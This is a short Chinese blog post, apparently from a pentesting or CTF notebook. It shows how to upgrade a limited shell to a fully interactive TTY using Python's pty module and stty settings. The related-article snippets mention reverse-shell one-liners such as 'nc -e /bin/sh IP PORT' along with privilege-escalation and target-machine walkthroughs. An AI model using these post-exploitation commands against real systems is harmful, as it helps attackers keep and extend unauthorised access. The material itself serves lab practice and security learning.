python3 -c ‘import pty；pty.spawn(“/bin/bash“)‘升级切换交互式shell

最新推荐文章于 2024-03-27 22:03:35 发布
最新推荐文章于 2024-03-27 22:03:35 发布
阅读量3.9k 收藏 1
点赞数 1
分类专栏： 各种渗透 文章标签： bash 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/X_sweelg/article/details/123184332
版权
这篇博客探讨了如何在Python中使用pty模块来启动一个交互式的bash shell，并通过stty命令修改终端设置。文章详细介绍了如何利用Ctrl+Z挂起进程，调整终端属性如行数和列数，以及恢复终端设置的步骤。对于理解pty和stty在系统管理和脚本编程中的作用很有帮助。
摘要由CSDN通过智能技术生成

python3 -c 'import pty;pty.spawn("/bin/bash")'

export TERM=xterm

Ctrl+Z

stty -a

stty raw -echo;fg

reset

stty rows 29 columns 94

row和columns数据为stty -a后的数据

Sweelg
关注
专栏目录
靶机Bulldog练习：通过python脚本远程连接弹出shell进行提权
7Riven's blog
12-09 908
1.主机发现 方法一：netdiscover命令 netdiscover -i eth0 -r 192.168.109.0/24 主动，不扫描本机IP地址 netdiscover -p 被动，不容易被发现，只能扫到有交互的 -i 指定网卡 -r 指定网段 方法二：nmap命...
「BASH」:谈谈如何获取完全交互式终端
binaxin的博客
09-30 1021
写在前面，本方法适用于在反弹shell后把shell提升为完全交互式shell，也是自己实战了一段时间后摸索出来的，记一下笔记； 完美的交互式shell python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z stty raw -echo fg reset export SHELL=bash //$ export TERM=xterm-256color 同样的，我在网上也找到另外一种方式：script /dev/null/这样：同理，也可以通过同样的.
Python：import 与__import__()
09-19 2447
首先来说一下两者的区别： 　　import指令做了两件事：1）搜索module，2）绑定到局部变量 　　内置函数__import__()只做了一件事：搜索module 　　import指令执行过程中是调用__import__()来完成Module检索的。 搜索module的过程： 在了解搜索的过程前，先来了解一下内部实现中的几个角色： a）已经搜索...
python3 import运用心得总结
Mark_Lewis的博客
05-30 737
这是我通过对同csdn的另一位博主讲解这个板块的博客研究和自行实验后，自己的心得在我看来，导入方式的分类可分为绝对导入和相对导入(相对于当前import语句所在文件的目录)绝对导入：    import A.B    from A import B相对导入：    from . import B    (从当前目录)    from ..A import B  (相对于A目录的上上层目录，单个'....
实现交互式shell的几种方式：python pty 方式、升级nc、socat、script获取pty
热门推荐
闵行小鱼塘
06-04 1万+
当我们拿到一个webshell的时候，我们能够执行一些命令，但是这些命令都是非交互的，也就是说不存在上下文的概念。当我们想使用vim、top等命令时，webshell就无能为力了。 那我们怎么获取一个可交互的webshell呢？
python：pty --- 伪终端工具
点点关注不迷路
03-15 1028
python：pty --- 伪终端工具
通过stty将shell升级为完全交互式shell
Zlirving_的博客
09-23 1273
当我们反弹回了一个shell连接，以及通过id命令查看到一个令人满意的用户权限。但凡事总有意外，由于我们获取的shell并不是一个具有完整交互的shell，因此可能会在使用过程中被挂起，甚至还可能会因为我们的操作失误，例如不小心摁下了 “Ctrl-C”键，这将直接终止我们的整个shell进程。 做个小实验 攻击机：kali （10.92.0.73） 靶机：ubuntu （10.92.0.74）   简单shell 首先给kali反弹个普通shell Ubuntu: bash -i >&amp
bulldog1——爆破、命令执行、pty提权
KUKULI233的博客
06-25 530
1.收集信息 netdiscover，是一个二层工具，原理是数据包产生交互即判定主机存活 netdiscover -i eth0 -r 192.168.249.0/24 靶机： 端口扫描 Masscan --rate=100000 -p 0-65535 192.168.249.137 (判断出目标是137) –rate发包数 –ports指定端口数 查看端口服务 Nmap -T4 -sV -O -p 8080,80,23 192.168.249.137 -sV服务版本 -T4速度(最高为5，推荐用4)
/etc/init.d/sshd配置SSHD路径忘记修改导致启动失败
weixin_34010949的博客
01-14 6978
[root@lnlte2dmr3 ~]# bash[root@lnlte2dmr3 ~]# install -v -m700 -d /var/empty/sshdinstall: 正在创建目录"/var/empty/sshd"[root@lnlte2dmr3 ~]# 等待输入超时：自动登出[root@lnlte2dmr3 ~]# bash[root@l...
红队笔记专属-shell备忘录
Gamma_lab的博客
04-02 4315
前言： ​ 建议直接复制粘贴到笔记，或点赞收藏，因为时常会用到，这是整理的一些常见的反向shell和特权提升的笔记文档，红队成员必会！ 最全。 反向shell-备忘录： ​ 通常在获得远程代码执行之后，我们希望获得一些交互式访问—而不是发出单个命令获取单个回显或与 web shell 交互，从实战的意义来讲，反弹shell是非常有必要的，以下将从不同的工具出发， nc listen: nc -nlvp PORT connect: nc -e /bin/sh IP PORT or nc -c sh I
sudo命令中python提权
qq_40898302的博客
05-10 4424
python的提权
拿到webshell后利用python改变shell类型
qq_29566629的博客
03-27 2167
使用一条命令即可： python -c ‘import pty;pty.spawn(“/bin/bash”)’ ''' -c 后跟命令，也就是说后面引号里的内容相当于会执行的代码 pty 模块定义了一些处理“伪终端”概念的操作：启动另一个进程并能以程序方式在其控制终端中进行读写。 pty.spawn(argv[, master_read[, stdin_read]]) 生成一个进程，并将其控制终端连接到当前进程的标准 io。 这常被用来应对坚持要从控制终端读取数据的程序。 ''' 所以在靶机里存在Pyth
升级tty shell （pyhotn）
冬萍子癸水
06-21 1409
渗透测试中，linux拿到的低权限shell，也就是老外说的initial foothold （shell）（能进入靶机或实战服务器了。。）。常常有很多限制。这种shell很容易不小心因按键给中断挂了，如果执行什么卡住了，你一按ctrl+c就直接挂完了，丢了。 如果按tab键，也不能自动补齐。。。等等，总之不是好shell 升级成tty 一般都是安装了Python的 操作如下： 中途会表面上断掉，以及你看不见你输入啥东西，没影响。 python -c 'import pty; pty.spawn("/bi
linux各种一句话反弹shell总结
mingyqf的博客
01-18 1308
【技术分享】linux各种一句话反弹shell总结 阅读量 1355554 | 评论 2 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jT8KDx3o-1642484911491)(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhX
14. CTF综合靶机渗透(七)
weixin_30279315的博客
06-22 707
靶机说明 NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战。 VM虚机配置有静态IP地址（192.168.0.150） 目标 Boot to root：获得root权限，查看flag。 运行环境 靶机：静态IP是192.168.0.150。 攻击机：同网段下有kali攻击机（物理机），IP地址：192.168.0.128，安装有Nmap、Burp...
DC靶机1-9
qq_60905276的博客
01-22 4786
1.DC1 首先我们不知道靶机的ip地址，我们通过
linux提权
最新发布
2201_75378806的博客
03-27 766
提取的文件要认真看（.log文件之类的可能有账号密码哦）网站。
Python 输出库的版本
桃子小迷妹
12-23 778
Python 输出库的版本
python跳转回上条命令_实现交互式shell的几种方式
weixin_29029673的博客
01-30 2118
文章最后更新时间为：2019年06月12日 00:56:19当我们拿到一个webshell的时候，我们能够执行一些命令，但是这些命令都是非交互的，也就是说不存在上下文的概念。当我们想使用vim、top等命令时，webshell就无能为力了。那我们怎么获取一个可交互的webshell呢？1. python pty 方式一般我们都会使用nc来接收反弹来的shell，只需要在目标上(以linux为例)执...
socat -d -d pty,link=/tmp/mtty1,rawer,b9600,echo=0
06-10
这是一个使用 socat 命令创建虚拟串口的命令。它的含义如下： - "-d -d" 表示启用调试模式，socat 会输出更详细的信息。 - "pty" 表示创建一个虚拟的伪终端设备。 - "link=/tmp/mtty1" 表示将创建的虚拟串口链接到 "/tmp/mtty1" 文件，即将这个文件作为虚拟串口的设备文件。 - "rawer" 表示以原始模式打开虚拟串口，即不对数据进行处理。 - "b9600" 表示设置波特率为 9600。 - "echo=0" 表示关闭虚拟串口的回显功能。 这个命令的作用是创建一个虚拟串口，并将其链接到 "/tmp/mtty1" 文件，可以通过读写这个文件来进行串口通信。这在一些需要模拟串口通信的场景下非常有用。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sweelg

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值